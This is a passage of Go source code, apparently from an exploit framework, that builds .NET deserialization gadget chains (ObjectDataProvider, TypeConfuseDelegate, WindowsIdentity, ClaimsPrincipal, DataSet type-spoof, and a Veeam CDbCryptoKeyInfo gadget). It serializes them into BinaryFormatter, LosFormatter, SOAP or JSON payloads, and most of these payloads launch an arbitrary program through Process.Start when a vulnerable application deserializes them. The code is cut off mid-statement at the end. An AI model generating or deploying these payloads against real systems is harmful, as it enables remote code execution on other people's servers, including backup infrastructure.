creating the OUTER classWithMembersAndTypes using the innerClassWithMembersAndTypes as a member\n\tmemberValues = append(memberValues, innerClassWithMembersAndTypes)\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 4})\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 4})\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 4})\n\tmemberValues = append(memberValues, false)\n\tmemberValues = append(memberValues, 1033)\n\tmemberValues = append(memberValues, false)\n\tmemberValues = append(memberValues, ObjectNullRecord{})\n\tmemberValues = append(memberValues, 1)\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 5})\n\n\tclassWithMembersAndTypes := ClassWithMembersAndTypesRecord{\n\t\tClassInfo:      classInfo,\n\t\tLibraryID:      libraryID,\n\t\tMemberTypeInfo: memberTypeInfo,\n\t\tBinaryLibrary:  binaryLibrary,\n\t\tMemberValues:   memberValues,\n\t}\n\n\t// Create arraySinglePrimitiveRecord to append before the end\n\tarraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{\n\t\tPrimitiveTypeEnum: PrimitiveTypeEnum[\"Byte\"],\n\t\tArrayInfo:         ArrayInfo{ObjectID: 5, MemberCount: len(innerTextFormattingProperties)},\n\t\tMembers:           string([]byte(innerTextFormattingProperties)),\n\t}\n\n\t// Put it all together then format & send it\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinLibString, _ := binaryLibrary.ToRecordBin()\n\tclassWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tarraySinglePrimitiveRecordString, _ := arraySinglePrimitiveRecord.ToRecordBin()\n\n\tpayload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase SOAPFormatterWithExceptions:\n\t\treturn FormatSOAPWithExceptions([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord})\n\tcase SOAPFormatter:\n\t\txmlData, _, ok := FormatSOAP([]Record{classWithMembersAndTypes, arraySinglePrimitiveRecord})\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\n\t\treturn xmlData, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter', 'SOAPFormatterWithExceptions'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\n// ObjectDataProvider.\nfunc CreateObjectDataProvider(program string, args string, formatter string) (string, bool) {\n\tgadget := map[string]any{\n\t\t\"$type\":      \"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\n\t\t\"MethodName\": \"Start\",\n\t\t\"MethodParameters\": map[string]any{\n\t\t\t\"$type\":   \"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\n\t\t\t\"$values\": []any{program, args},\n\t\t},\n\t\t\"ObjectInstance\": map[string]any{\n\t\t\t\"$type\": \"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\n\t\t},\n\t}\n\n\t// validating the output as JSON\n\tjsonData, err := json.Marshal(gadget)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Error serializing to JSON: %v\", err)\n\n\t\treturn \"\", false\n\t}\n\tpayload := string(jsonData)\n\n\tswitch formatter {\n\tcase \"JSONFormatter\":\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'JSONFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\n// TypeConfuseDelegate.\nfunc CreateTypeConfuseDelegate(program string, args string, formatter string) (string, bool) {\n\tmscorlibString := \"mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n\tmscorlibSystemString := \"System.String, \" + mscorlibString\n\tsystemlibString := \"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n\tsystemlibSystemDiagString := \"System.Diagnostics.Process, \" + systemlibString\n\tlibraryID := 2\n\n\tsystemBinaryLibraryRecord := BinaryLibraryRecord{ID: libraryID, Library: systemlibString}\n\n\t/////// object8\n\tobj8MemberNames := []string{\"type\", \"assembly\", \"target\", \"targetTypeAssembly\", \"targetTypeName\", \"methodName\", \"delegateEntry\"}\n\tobj8MemberTypes := []string{\"String\", \"String\", \"Object\", \"String\", \"String\", \"String\", \"SystemClass\"}\n\tvar obj8additionalInfo []any\n\tobj8additionalInfo = append(obj8additionalInfo, \"System.DelegateSerializationHolder+DelegateEntry\")\n\tvar obj8MemberValues []any\n\tobj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 11, Value: fmt.Sprintf(\"System.Func`3[[%s],[%s],[%s]]\", mscorlibSystemString, mscorlibSystemString, systemlibSystemDiagString)})\n\tobj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 12, Value: mscorlibString})\n\tobj8MemberValues = append(obj8MemberValues, ObjectNullRecord{})\n\tobj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 13, Value: systemlibString})\n\tobj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 14, Value: \"System.Diagnostics.Process\"})\n\tobj8MemberValues = append(obj8MemberValues, BinaryObjectString{ObjectID: 15, Value: \"Start\"})\n\tobj8MemberValues = append(obj8MemberValues, MemberReferenceRecord{IDRef: 16})\n\n\tobj8ClassInfo := ClassInfo{\n\t\tObjectID:    8,\n\t\tName:        \"System.DelegateSerializationHolder+DelegateEntry\",\n\t\tMemberNames: obj8MemberNames,\n\t}\n\t// innerMemberTypeInfo, ok := getMemberTypeInfo([]string{\"Primitive\"}, []string{\"value__\"}, innerMemberTypeInfoAdditionalInfos)\n\tobj8MemberTypeInfo, ok := getMemberTypeInfo(obj8MemberTypes, obj8MemberNames, obj8additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tobj8 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo:      obj8ClassInfo,\n\t\tMemberTypeInfo: obj8MemberTypeInfo,\n\t\tMemberValues:   obj8MemberValues,\n\t}\n\n\t/////// object9\n\tobj9MemberNames := []string{\"Name\", \"AssemblyName\", \"ClassName\", \"Signature\", \"Signature2\", \"MemberType\", \"GenericArguments\"}\n\tobj9MemberTypes := []string{\"String\", \"String\", \"String\", \"String\", \"String\", \"Primitive\", \"SystemClass\"}\n\tvar obj9additionalInfo []any\n\tobj9additionalInfo = append(obj9additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tobj9additionalInfo = append(obj9additionalInfo, \"System.Type[]\")\n\tvar obj9MemberValues []any\n\tobj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 15})\n\tobj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 13})\n\tobj9MemberValues = append(obj9MemberValues, MemberReferenceRecord{IDRef: 14})\n\tobj9MemberValues = append(obj9MemberValues, BinaryObjectString{ObjectID: 20, Value: \"System.Diagnostics.Process Start(System.String, System.String)\"})\n\tobj9MemberValues = append(obj9MemberValues, BinaryObjectString{ObjectID: 21, Value: \"System.Diagnostics.Process Start(System.String, System.String)\"})\n\tobj9MemberValues = append(obj9MemberValues, 8)\n\tobj9MemberValues = append(obj9MemberValues, ObjectNullRecord{})\n\n\tobj9ClassInfo := ClassInfo{\n\t\tObjectID:    9,\n\t\tName:        \"System.Reflection.MemberInfoSerializationHolder\",\n\t\tMemberNames: obj9MemberNames,\n\t}\n\tobj9MemberTypeInfo, ok := getMemberTypeInfo(obj9MemberTypes, obj9MemberNames, obj9additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tobj9 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo:      obj9ClassInfo,\n\t\tMemberTypeInfo: obj9MemberTypeInfo,\n\t\tMemberValues:   obj9MemberValues,\n\t}\n\n\t/// obj1 class\n\tvar obj1AdditionalInfo []any\n\tvar obj1MemberValues []any\n\tobj1MemberNames := []string{\"Count\", \"Comparer\", \"Version\", \"Items\"}\n\tobj1MemberTypes := []string{\"Primitive\", \"SystemClass\", \"Primitive\", \"StringArray\"}\n\tobj1MemberValues = append(obj1MemberValues, 2)\n\tobj1MemberValues = append(obj1MemberValues, MemberReferenceRecord{IDRef: 3})\n\tobj1MemberValues = append(obj1MemberValues, 2)\n\tobj1MemberValues = append(obj1MemberValues, MemberReferenceRecord{IDRef: 4})\n\n\tobj1AdditionalInfo = append(obj1AdditionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tobj1AdditionalInfo = append(obj1AdditionalInfo, fmt.Sprintf(\"System.Collections.Generic.ComparisonComparer`1[[%s]]\", mscorlibSystemString))\n\tobj1AdditionalInfo = append(obj1AdditionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\n\tobj1MemberTypeInfo, ok := getMemberTypeInfo(obj1MemberTypes, obj1MemberNames, obj1AdditionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tobj1ClassInfo := ClassInfo{\n\t\tObjectID:    1,\n\t\tName:        fmt.Sprintf(\"System.Collections.Generic.SortedSet`1[[%s]]\", mscorlibSystemString),\n\t\tMemberNames: obj1MemberNames,\n\t}\n\n\tobj1 := ClassWithMembersAndTypesRecord{\n\t\tClassInfo:      obj1ClassInfo,\n\t\tMemberTypeInfo: obj1MemberTypeInfo,\n\t\tMemberValues:   obj1MemberValues,\n\t\tLibraryID:      libraryID,\n\t}\n\n\t/// obj3 class\n\tvar obj3AdditionalInfo []any\n\tvar obj3MemberValues []any\n\tobj3MemberNames := []string{\"_comparison\"}\n\tobj3MemberTypes := []string{\"SystemClass\"}\n\n\tobj3MemberValues = append(obj3MemberValues, MemberReferenceRecord{IDRef: 5})\n\n\tobj3AdditionalInfo = append(obj3AdditionalInfo, \"System.DelegateSerializationHolder\")\n\n\tobj3MemberTypeInfo, ok := getMemberTypeInfo(obj3MemberTypes, obj3MemberNames, obj3AdditionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tobj3ClassInfo := ClassInfo{\n\t\tObjectID:    3,\n\t\tName:        fmt.Sprintf(\"System.Collections.Generic.ComparisonComparer`1[[%s]]\", mscorlibSystemString),\n\t\tMemberNames: obj3MemberNames,\n\t}\n\n\tobj3 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo:      obj3ClassInfo,\n\t\tMemberTypeInfo: obj3MemberTypeInfo,\n\t\tMemberValues:   obj3MemberValues,\n\t}\n\n\t// Create arraySinglePrimitiveRecord to append before the end\n\tvar arraySingleStringMembers []any\n\tarraySingleStringMembers = append(arraySingleStringMembers, BinaryObjectString{ObjectID: 6, Value: args})\n\tarraySingleStringMembers = append(arraySingleStringMembers, BinaryObjectString{ObjectID: 7, Value: program})\n\tarraySingleStringRecord := ArraySingleStringRecord{\n\t\tArrayInfo: ArrayInfo{ObjectID: 4, MemberCount: 2},\n\t\tMembers:   arraySingleStringMembers,\n\t}\n\n\t/// obj5 class\n\tvar obj5AdditionalInfo []any\n\tvar obj5MemberValues []any\n\tobj5MemberNames := []string{\"Delegate\", \"method0\", \"method1\"}\n\tobj5MemberTypes := []string{\"SystemClass\", \"SystemClass\", \"SystemClass\"}\n\n\tobj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 8})\n\tobj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 9})\n\tobj5MemberValues = append(obj5MemberValues, MemberReferenceRecord{IDRef: 10})\n\n\tobj5AdditionalInfo = append(obj5AdditionalInfo, \"System.DelegateSerializationHolder+DelegateEntry\")\n\tobj5AdditionalInfo = append(obj5AdditionalInfo, \"System.Reflection.MemberInfoSerializationHolder\")\n\tobj5AdditionalInfo = append(obj5AdditionalInfo, \"System.Reflection.MemberInfoSerializationHolder\")\n\n\tobj5MemberTypeInfo, ok := getMemberTypeInfo(obj5MemberTypes, obj5MemberNames, obj5AdditionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tobj5ClassInfo := ClassInfo{\n\t\tObjectID:    5,\n\t\tName:        \"System.DelegateSerializationHolder\",\n\t\tMemberNames: obj5MemberNames,\n\t}\n\n\tobj5 := SystemClassWithMembersAndTypesRecord{\n\t\tClassInfo:      obj5ClassInfo,\n\t\tMemberTypeInfo: obj5MemberTypeInfo,\n\t\tMemberValues:   obj5MemberValues,\n\t}\n\n\t// classWIthID 1\n\tvar classWithIDOneMemberValues []any\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 22, Value: \"Compare\"})\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, MemberReferenceRecord{IDRef: 12})\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 24, Value: \"System.String\"})\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 25, Value: \"Int32 Compare(System.String, System.String)\"})\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 26, Value: \"System.Int32 Compare(System.String, System.String)\"})\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, 8)\n\tclassWithIDOneMemberValues = append(classWithIDOneMemberValues, ObjectNullRecord{})\n\n\tclassWithIDOneRecord := ClassWithIDRecord{\n\t\tObjectID:     10,\n\t\tMetadataID:   9,\n\t\tMemberValues: classWithIDOneMemberValues,\n\t}\n\t// classWIthID 2\n\tvar classWithIDTwoMemberValues []any\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, BinaryObjectString{ObjectID: 27, Value: fmt.Sprintf(\"System.Comparison`1[[%s]]\", mscorlibSystemString)})\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 12})\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, ObjectNullRecord{})\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 12})\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 24})\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 22})\n\tclassWithIDTwoMemberValues = append(classWithIDTwoMemberValues, ObjectNullRecord{})\n\n\tclassWithIDTwoRecord := ClassWithIDRecord{\n\t\tObjectID:     16,\n\t\tMetadataID:   8,\n\t\tMemberValues: classWithIDTwoMemberValues,\n\t}\n\n\t// final combination\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinLibString, _ := systemBinaryLibraryRecord.ToRecordBin()\n\tobj1String, ok := obj1.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tobj3String, ok := obj3.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tobj5String, ok := obj5.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tobj8String, ok := obj8.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tobj9String, ok := obj9.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tclassWithIDOneString, ok := classWithIDOneRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tclassWithIDTwoString, ok := classWithIDTwoRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tarraySingleStringRecordString, ok := arraySingleStringRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tpayload := serializationHeaderRecordString + binLibString +\n\t\tobj1String +\n\t\tobj3String +\n\t\tarraySingleStringRecordString +\n\t\tobj5String +\n\t\tobj8String +\n\t\tobj9String +\n\t\tclassWithIDOneString +\n\t\tclassWithIDTwoString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateWindowsIdentity(program string, args string, formatter string) (string, bool) {\n\tinnerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, BinaryFormatter)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tb64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate)))\n\tbase64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate))\n\tinnerTypeConfuseDelegateBase64 := string(b64String)\n\n\tvar memberValues []any\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 2, Value: innerTypeConfuseDelegateBase64})\n\n\tmemberNames := []string{\"System.Security.ClaimsIdentity.actor\"}\n\n\tmemberTypeInfo, ok := getMemberTypeInfo([]string{\"String\"}, memberNames, nil)\n\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tclassInfo := ClassInfo{\n\t\tObjectID:    1,\n\t\tName:        \"System.Security.Principal.WindowsIdentity\",\n\t\tMemberNames: memberNames,\n\t\tMemberCount: len(memberNames),\n\t}\n\tsystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{\n\t\tMemberTypeInfo: memberTypeInfo,\n\t\tMemberValues:   memberValues,\n\t\tClassInfo:      classInfo,\n\t}\n\tsystemClassWithMembersAndTypesRecordString, ok := systemClassWithMembersAndTypesRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\t// Finalize it\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\n\tpayload := serializationHeaderRecordString +\n\t\tsystemClassWithMembersAndTypesRecordString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tcase SOAPFormatter:\n\t\txmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\n\t\treturn xmlData, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateClaimsPrincipal(program string, args string, formatter string) (string, bool) {\n\tinnerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, BinaryFormatter)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tb64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate)))\n\tbase64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate))\n\tinnerTypeConfuseDelegateBase64 := string(b64String)\n\n\tvar memberValues []any\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 5, Value: innerTypeConfuseDelegateBase64})\n\n\tmemberNames := []string{\"m_serializedClaimsIdentities\"}\n\n\tmemberTypeInfo, ok := getMemberTypeInfo([]string{\"String\"}, memberNames, nil)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tclassInfo := ClassInfo{\n\t\tObjectID:    1,\n\t\tName:        \"System.Security.Claims.ClaimsPrincipal\",\n\t\tMemberNames: memberNames,\n\t\tMemberCount: len(memberNames),\n\t}\n\tsystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{\n\t\tMemberTypeInfo: memberTypeInfo,\n\t\tMemberValues:   memberValues,\n\t\tClassInfo:      classInfo,\n\t}\n\tsystemClassWithMembersAndTypesRecordString, ok := systemClassWithMembersAndTypesRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\t// Finalize it\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\n\tpayload := serializationHeaderRecordString +\n\t\tsystemClassWithMembersAndTypesRecordString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tcase SOAPFormatter:\n\t\txmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\n\t\treturn xmlData, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateDataSetTypeSpoof(program string, args string, formatter string) (string, bool) {\n\tinnerTextFormattingProperties, ok := CreateTextFormattingRunProperties(program, args, BinaryFormatter)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tsystemDataString := \"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n\tbinaryLibraryRecord := BinaryLibraryRecord{ID: 3, Library: systemDataString}\n\tclassName := \"System.Data.DataSet, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"\n\n\t// create INNER class\n\tvar innerMemberValues []any\n\tinnerMemberValues = append(innerMemberValues, 1)\n\tvar innerMemberTypeInfoAdditionalInfos []any\n\tinnerMemberTypeInfoAdditionalInfos = append(innerMemberTypeInfoAdditionalInfos, PrimitiveTypeEnum[\"Int32\"])\n\tinnerMemberTypeInfo, ok := getMemberTypeInfo([]string{\"Primitive\"}, []string{\"value__\"}, innerMemberTypeInfoAdditionalInfos)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tinnerClassWithMembersAndTypes := ClassWithMembersAndTypesRecord{\n\t\tClassInfo: ClassInfo{\n\t\t\tObjectID:    -4,\n\t\t\tName:        \"System.Data.SerializationFormat\",\n\t\t\tMemberNames: []string{\"value__\"},\n\t\t},\n\t\tMemberTypeInfo: innerMemberTypeInfo,\n\t\tLibraryID:      3,\n\t\tMemberValues:   innerMemberValues,\n\t\tBinaryLibrary:  binaryLibraryRecord,\n\t}\n\n\t// Continue creating primary class\n\tvar memberValues []any\n\tmemberValues = append(memberValues, innerClassWithMembersAndTypes)\n\tmemberValues = append(memberValues, BinaryObjectString{ObjectID: 5})\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 5})\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 5})\n\tmemberValues = append(memberValues, false)\n\tmemberValues = append(memberValues, 1033)\n\tmemberValues = append(memberValues, false)\n\tmemberValues = append(memberValues, ObjectNullRecord{})\n\tmemberValues = append(memberValues, 1)\n\tmemberValues = append(memberValues, MemberReferenceRecord{IDRef: 6})\n\tmemberNames := []string{\n\t\t\"DataSet.RemotingFormat\",\n\t\t\"DataSet.DataSetName\",\n\t\t\"DataSet.Namespace\",\n\t\t\"DataSet.Prefix\",\n\t\t\"DataSet.CaseSensitive\",\n\t\t\"DataSet.LocaleLCID\",\n\t\t\"DataSet.EnforceConstraints\",\n\t\t\"DataSet.ExtendedProperties\",\n\t\t\"DataSet.Tables.Count\",\n\t\t\"DataSet.Tables_0\",\n\t}\n\n\tvar additionalInfo []any\n\tadditionalInfo = append(additionalInfo, ClassTypeInfo{TypeName: \"System.Data.SerializationFormat\", LibraryID: 3})\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Boolean\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Boolean\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Byte\"])\n\n\tmemberTypes := []string{\n\t\t\"Class\",\n\t\t\"String\",\n\t\t\"String\",\n\t\t\"String\",\n\t\t\"Primitive\",\n\t\t\"Primitive\",\n\t\t\"Primitive\",\n\t\t\"Object\",\n\t\t\"Primitive\",\n\t\t\"PrimitiveArray\",\n\t}\n\n\tmemberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tclassInfo := ClassInfo{\n\t\tObjectID:    1,\n\t\tName:        className,\n\t\tMemberNames: memberNames,\n\t\tMemberCount: len(memberNames),\n\t}\n\n\tclassWithMembersAndTypesRecord := ClassWithMembersAndTypesRecord{\n\t\tMemberTypeInfo: memberTypeInfo,\n\t\tMemberValues:   memberValues,\n\t\tClassInfo:      classInfo,\n\t\tLibraryID:      2,\n\t}\n\n\t// create an array Single Primitive\n\tarraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{\n\t\tPrimitiveTypeEnum: PrimitiveTypeEnum[\"Byte\"],\n\t\tArrayInfo:         ArrayInfo{ObjectID: 6, MemberCount: len(innerTextFormattingProperties)},\n\t\tMembers:           string([]byte(innerTextFormattingProperties)),\n\t}\n\n\t// Finalize/order the records\n\tserializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}\n\tserializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()\n\tbinaryLibraryRecordString, ok := binaryLibraryRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tmscorlibBinaryLibrary := BinaryLibraryRecord{ID: 2, Library: \"mscorlib\"}\n\tmscorlibBinaryLibraryString, ok := mscorlibBinaryLibrary.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tclassWithMembersAndTypesRecordString, ok := classWithMembersAndTypesRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tarraySinglePrimitiveRecordString, ok := arraySinglePrimitiveRecord.ToRecordBin()\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\tpayload := serializationHeaderRecordString +\n\t\tmscorlibBinaryLibraryString +\n\t\tbinaryLibraryRecordString +\n\t\tclassWithMembersAndTypesRecordString +\n\t\tarraySinglePrimitiveRecordString +\n\t\tstring(byte(RecordTypeEnumMap[\"MessageEnd\"]))\n\n\tswitch formatter {\n\tcase LOSFormatter:\n\t\treturn FormatLOS(payload), true\n\tcase BinaryFormatter:\n\t\treturn payload, true\n\tcase \"\":\n\t\treturn payload, true\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'\", formatter)\n\n\t\treturn \"\", false\n\t}\n}\n\nfunc CreateVeeamCryptoKeyInfo(url string, formatter string) (string, bool) {\n\tinnerObjRef, ok := CreateObjectRef(url, \"\")\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\tb64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerObjRef)))\n\tbase64.StdEncoding.Encode(b64String, []byte(innerObjRef))\n\tinnerObjRefB64 := string(b64String)\n\n\tmemberTypes := []string{\"SystemClass\", \"Object\", \"Primitive\", \"String\", \"String\", \"Primitive\", \"Primitive\", \"Primitive\", \"StringArray\"}\n\n\tmemberNames := []string{\n\t\t\"Id\",\n\t\t\"KeySetId\",\n\t\t\"KeyType\",\n\t\t\"Hint\",\n\t\t\"DecryptedKeyValue\",\n\t\t\"LocaleLCID\",\n\t\t\"ModificationDateUtc\",\n\t\t\"CryptoAlg\",\n\t\t\"RepairRecs\",\n\t}\n\n\tvar additionalInfo []any\n\tadditionalInfo = append(additionalInfo, \"System.Guid\")\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"DateTime\"])\n\tadditionalInfo = append(additionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\n\tclassInfo := ClassInfo{\n\t\tObjectID:    1,\n\t\tName:        \"Veeam.Backup.Model.CDbCryptoKeyInfo\",\n\t\tMemberCount: len(memberNames),\n\t\tMemberNames: memberNames,\n\t}\n\t// INNER CLASS for value\n\tvar innerMemberValues []any\n\tvar innerAdditionalInfo []any\n\tinnerMemberNames := []string{\"_a\", \"_b\", \"_c\", \"_d\", \"_e\", \"_f\", \"_g\", \"_h\", \"_i\", \"_j\", \"_k\"}\n\tinnerMemberTypes := []string{\"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\", \"Primitive\"}\n\n\t// 08 07 07 02 02 02 02 02 02 02 02\n\tinnerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum[\"Int32\"])\n\tinnerAdditionalInfo = append(innerAdditionalInfo, 